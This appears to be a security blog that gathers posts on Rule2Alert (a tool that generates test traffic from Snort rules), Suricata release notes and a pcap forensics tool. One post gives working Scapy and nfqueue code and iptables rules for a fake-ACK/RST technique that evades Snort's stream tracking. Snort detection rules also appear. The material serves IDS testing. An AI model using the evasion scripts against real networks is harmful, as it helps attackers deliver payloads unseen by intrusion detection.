Malware Forge

There has been an update to the Rule2Alert SVN. These updates are primarily the following, with a few minor updates as well:

Updates
===========

*Improved Detection Rate

*Testing new RevRegex library

*Evasion technique 1 added

*HTTP Cookie Support

*ACK packet added to acknowledge payload packet

*Both TCP MSS and Window Size set to length of payload

Future Work
===========

*Support for byte_test, byte_jump, isdataat

*DCE/RPC protocol support

With these new updates, Rule2Alert has a 88.5% alert rate on the successfully loaded rules in emerging-all.rules as seen in the image below:

This improved detection rate is due to the updates pushed recently to rule2alert. The added evasion technique is the altered ACK packet within the TCP 3-way handshake that was discussed here and originally here. The evasion technique is shown below using Rule2Alert:

test.rule
alert tcp $EXTERNAL_NET $HTTP_PORTS -> $HOME_NET any (msg:"ET WEB_CLIENT ACTIVEX iDefense COMRaider ActiveX Control Arbitrary File Deletion"; flow:to_client,established; content:"clsid"; nocase; content:"9A077D0D-B4A6-4EC0-B6CF-98526DF589E4"; nocase; distance:0; pcre:"/(DeleteFile|write)/i"; classtype:web-application-attack; reference:bugtraq,33867; reference:bugtraq,33942; reference:url,doc.emergingthreats.net/2009187; reference:url,www.emergingthreats.net/cgi-bin/cvsweb.cgi/sigs/WEB_CLIENT/WEB_iDefense_COMRaider; sid:2009187; rev:4;)

This image is not using the evasion technique

The following uses the first evasion technique

Now as seen in the images above, Snort still detects the evasion. This is due to the stream5 policy that is preventing the evasion from occurring. Snort is still able to detect this evasion with my current Snort setup.

Rule2Alert, using the newly discovered RevRegex library in the link above, still is not able to handle very complicated pcres. This example shown below, is an example where Rule2Alert is able to handle both a pcre as well as use the HTTP template.

test.rule
alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:"ET TROJAN XPantivirus2008 Download"; flow:to_server,established; content:"GET "; depth:4; uricontent:"XPantivirus20"; nocase; pcre:"/XPantivirus20\d{2}_v\d{6}\.exe/Ui"; classtype:trojan-activity; reference:url,www.theregister.co.uk/2008/08/22/anatomy_of_a_hack/page4.html; reference:url,seo.mhvt.net/blog/?p=390; reference:url,virscan.org/report/a61cd44fc387188da2ee3fbdeda10782.html; reference:url,doc.emergingthreats.net/2008516; reference:url,www.emergingthreats.net/cgi-bin/cvsweb.cgi/sigs/VIRUS/TROJAN_XPAntivirus; sid:2008516; rev:3;)

As seen in the image above, Rule2Alert is able to change the statement:

pcre:"/XPantivirus20\d{2}_v\d{6}\.exe/Ui";

into...

uricontent:"XPantivirus2000_v000000.exe";

Rule2Alert creates a default HTTP template for the packet, and simply fills in the blanks using the uricontent statement, as well as the content:"GET "; for the HTTP method.

In my previous blog I talked about another post I had read, and how to circumvent Snort when attacking a Linux server. The key was to send an incorrect ACK as a response to the server's SYN-ACK, which would result in a RST. Then, the actual ACK was sent, and the conversation would continue. This stream would be dropped by Snort from the RST, but because of syn-cookies in Linux, the stream would be kept alive on the server end.

I had written a script that would read in data, and craft the handshake, along with the modified ACK, all using raw sockets. This could be used if the user wanted to test with strings of data, but not with other programs. This would have to be done in the kernel with nfqueue.

I recently stumbled on the python nfqueue bindings which would make this possible. First, returning SYN-ACK packets would have to be queued by using iptables.

iptables -A INPUT -m tcp -p tcp --tcp-flags ALL SYN,ACK -j NFQUEUE

This will queue all incoming SYN-ACK packets, so they can be read in python using the nfqueue-bindings. The full script will be posted as a link on the bottom.

=====================

import os,sys,nfqueue,socket
from scapy.all import *

def process(i, payload):
    data = payload.get_data()
    p = IP(data)

    if not p[TCP].flags == 18:
        return 0

    print "Crafting Fake ACK"
    fake = IP(src=p[IP].dst, dst=p[IP].src)/TCP(sport=p[TCP].dport, dport=p[TCP].sport, \
    flags="A", seq=p[TCP].ack+1, ack=p[TCP].seq+2)

    print "Sending..."
    send(fake)

    print "Accepting SYN-ACK"
    payload.set_verdict(nfqueue.NF_ACCEPT)

def main():
    q = nfqueue.queue()
    q.open()
    q.bind(socket.AF_INET)
    q.set_callback(process)
    q.create_queue(0)
    try:
        q.try_run()
    except KeyboardInterrupt:
        print "Exiting..."
        q.unbind(socket.AF_INET)
        q.close()
        sys.exit(1)

main()

=====================

By having iptables queue any SYN-ACK incoming, we can process each of these packets before accepting them. In the above example, the process callback function examines the packet in the queue, and crafts an ACK before the kernel can ACK it. Once this fake ACK packet has been sent out, it then accepts the SYN-ACK packet, and the kernel sends back the correct ACK. This way, you could use any existing tool with this script, and everything would be handled automatically.

There are many things that could be done when combining python-nfqueue and scapy. Download the example script below.

Download: nftest.py

The OISF development team is proud to announce Suricata 1.0.0, the first stable release of Suricata, the Open Source Intrusion Detection and Prevention engine.

Get the new release here:
http://www.openinfosecfoundation.org/download/suricata-1.0.0.tar.gz

New features

- Support for the tag keyword was added.
- Support for DCERPC over UDP was added.

Improvements

- CUDA was fixed and it's performance was improved a lot
- Fix short HTTP sessions sometimes not being parsed properly.
- Duplicate signatures are now detected, the signature with the highest revision is used.
- Uricontent inspection was improved.
- alert debuglog now also prints flow information, including flowbits.
- Pattern searching was improved in general and specially also for DCE traffic.

Known issues & missing features

As always, we are doing our best to make you aware of continuing development and items within the engine that are not yet complete or optimal. With this in mind, please notice the list we have included of known items we are working on.

See http://redmine.openinfosecfoundation.org/projects/suricata/issues for an up to date list and to report new issues.
See http://redmine.openinfosecfoundation.org/projects/suricata/wiki/Known_issues for a discussion and time line for the major issues.

The original goal for today's work on Rule2Alert was to attempt a 3000 rule hit using emerging-all.rules. Before, it averaged around 2.2k alerts; however, after a few minor modifications I was able to get 5439 alerts.

python r2a.py -f emerging-all.rules -e 1.1.1.1 -m 192.168.1.1 -w all.pcap -t

The changes made to rule2alert were minor, but made a huge impact on the amount of possible generated rules (at least with emerging-all.rules).

Changes
---------

Changed the RevRegex.py file, which attempts to flatten regular expressions in to matching content based text. When it finds pcre:"/something/U" it now returns a uricontent match instead of the previous return of content. This makes rule2alert able to generate almost 100% of all the User Agent rules that Emerging Threats has available.

Changed the handshake for to_client rules. Usually, when a rule has flow:established, the flow starts with the $HOME_NET address initiating the SYN packet. However, if the rule is $EXTERNAL_NET any -> $HOME_NET 80 and established,to_client for example, the external IP now initiates the SYN for the handshake.

Features
----------

My next plan after attempting to generate all of the rules in emerging-all is building in IDS evasion techniques. This will be able to further stress test the IDS's ability to detect possible evasion techniques with packets that are known to alert.

*The pcap generated by r2a in this example can be downloaded here

I was reading through my blogs this morning with coffee when I stumbled upon Judy Novak's Blog. What Judy described, was a method to send a payload to a server, and evade an IDS such as Snort at the same time. She even mentioned that she used Scapy, so I was immediately hooked. She describes step-by-step, the process for creating this situation. I figured I should try it out...but first the script had to be created.

Since we are sending out packets with Scapy using Raw Sockets, we need to prevent the kernel from sending Reset packets back, once we receive the SYN-ACK from the server. To do this, we use the iptables rule:

iptables -A OUTPUT -p tcp --tcp-flags RST RST -j DROP

Now, as Judy describes, we initialize the connection by sending the SYN packet first and wait for the SYN-ACK:

p = IP(src=self.srcIP, dst=self.options.addr)/TCP(sport=self.sport, dport=self.options.port, flags="S", seq=self.isn)
synack = sr1(p)

Once the SYN-ACK has come in, Judy states that we must send back the ACK Packet, but under one condition: we increase the ACK Number by 2, instead of 1.

ack = IP(src=self.srcIP, dst=self.options.addr)/TCP(sport=self.sport, dport=self.options.port, flags="A", seq=self.isn+1, ack=synack.seq+2)
print "Sending Modified ACK..."
send(ack)

Now we should receive a RST packet, which is exactly what creates this IDS evasion technique. The IDS, which is tracking the current session, will drop the entire session once this RST packet comes in; however, this is based on the default Stream5 policy. We should be able to send the payload out, and the server should ACK the packet back perfectly:

p = IP(src=self.srcIP, dst=self.options.addr)/TCP(sport=self.sport, dport=self.options.port, flags="PA", seq=ack.seq, ack=synack.seq+1)/self.options.data
print "Sending Payload"
ackPacket = sr1(p, timeout=1)

Just in case, we can double check to see if the ACK packet is what we are indeed looking for:

if not ackPacket.flags == 2 or not ackPacket.ack == p.seq + len(self.options.data):
print "Error with return ACK"
return 0

If it is the correct ACK packet, then we have successfully sent the payload.

Example pcap:

The script I wrote can be found here

When used we can see the options:

===========

root@ubuntu:~/# python fakerst.py
Usage: python fakerst.py -a IP_DEST -p PORT -d PAYLOAD

Example: python fakerst.py -a 192.168.1.100 -p 80 -d "GET / HTTP/1.1\r\n"

Required IPTables Rule:
iptables -A OUTPUT -p tcp --tcp-flags RST RST -j DROP

Options:
-h, --help show this help message and exit
-a ADDR Send payload to IP
-p PORT Send payload to PORT
-d DATA Send data

===========

fakerst.py

Thanks for the fun Judy!

http://www.packetstan.com/2010/06/recently-ive-been-on-campaign-to-make....

The last major update to Rule2Alert was posted in my blog entry (Jan. 26'th). At that point, it could alert on 972 rules within emerging-all.rules. Although this is not a very high number compared to the number of rules located in emerging-all.rules (8251) it is still a decent amount for any administrator to parse through. This tool is becoming more of a QA tool working with Emerging Threats and the Suricata Team (OISF). Some minor updates that have been made:

-No need for a snort.conf anymore, as long as you specify the home_net and external_net variables on the command line via the "-m" and "-e" switches.
This is done by a list of default variables used if no conf is provided.

-Basic User-Agent rule addition

-Basic uricontent rule addition

There is still much to fix, but that will be worked out eventually.

Now, when emerging-all.rules is loaded, the following results:

---
root@ubuntu:~/rule2alert# ../snort-2.8.5.3.sh all_manual.pcap | wc -l
2212

---

There are now 2212 rules that are alerted on when using Rule2Alert. I hope to break 3000 soon and work on being able to determine which rules are bad - not just syntax wise, but by actually crafting the packets.

Also, there is a new example page on the Google Code Page on how exactly to use Rule2Alert.

This summer I plan to resume the development of Rule2Alert, my Snort rule alert generator written in python. My first goal is to fully implement basic HTTP rule alerting. I will post updates for Rule2Alert soon - Stay tuned.

New features have been added in to the Pcap Forensics Tool.

-Support for multiple files within a single stream
-Support for multiple HTTP Requests within a single stream
-HTTP GET correlation with returned data
-Improved Gzip decoding
-Source and Destination IP Filtering
-Pinpoint file extraction

The following is an example of the new switches it supports:

This is the new summary when given the "-s" switch:

Filtering destination IP addresses with HTTP Information:

And finally, the pinpoint file extraction. The switch "-E" is used in conjunction with a format "s2f1" (stream 2 file 1) to pinpoint which file the user wants to extract as seen below:

The tool can be downloaded at the same location:

Pcap Forensics Tool

This includes the updated gzip support which was created by the writer of JsUnpack.

The OISF development team is proud to introduce the first release candidate of Suricata, the Open Source Intrusion Detection and Prevention engine. We're working towards our first stable release, currently scheduled for July 1st, 2010.

Get the new release here: http://www.openinfosecfoundation.org/download/suricata-0.9.0.tar.gz

New features

- Support for the http_headers keyword was added

- libhtp was updated to version 0.2.3

- Privilege dropping using libcap-ng is now supported

- Proper support for "pass" rules was added

- Inline mode for Windows was added

Improvements

- A regression in the detection engine causing false negatives was fixed

- Many accuracy and stability improvements have been made

Known issues & missing features

The OISF has made significant progress towards reaching the first full (non-beta) release of Suricata. Your feedback is always important to us and we appreciate your time and effort. As always, we are doing our best to make you aware of continuing development and items within the engine that are not yet complete. With this in mind, please notice the list we have included of known items currently being addressed.

- Using the http_cookie keyword seems to cause a match on all packets.

- Currently we don't support the dce option for byte_test and byte_jump.

- Stream reassembly is currently only performed for app-layer code.

- Inconsistent time stamps in http log file due to handling & updating of the http state.

- DCE/RPC over udp is not currently supported.

- dce_stub_data does not respect relative modifiers.

- Engine does not work properly on big endian platforms.

- Time based stats are not calculated correctly.

According to Google Reader stats, I have 135 people following this blog (I assume that is only people using Google reader), so I will most likely make posts more frequently. This post is showcasing a new Pcap Forensics Tool which is written in python using both Scapy and Pynids. This tool as of now, hosts the following features:

-Packet Summary
-DNS Summary
-Stream Summary
-List files within stream (magic bytes)
-List files within archives in streams(ZIP and TAR)
-Extract files based on magic type
-Look within ZIP and TAR archives for file type to extract
-GZIP Decompression for files and archives
-Extraction Summary

The following is an example of running the script to see the command line options that can be used:

Scanning a single packet capture and displaying the summary will look something like this:

Once you know which files are located within a stream, you can determine the files that are to be extracted:

I am currently looking to extend this tool to include multiple archive types that are supported by python. Any suggestions to improve the tool would be appreciated. The two python scripts that are required to use this tool are located here:

Pcap Forensics Tool

This tool requires Scapy, Pynids and python-magic.
*Please use the updated pynids at the link above, as the original site of pynids has a much older version of pynids.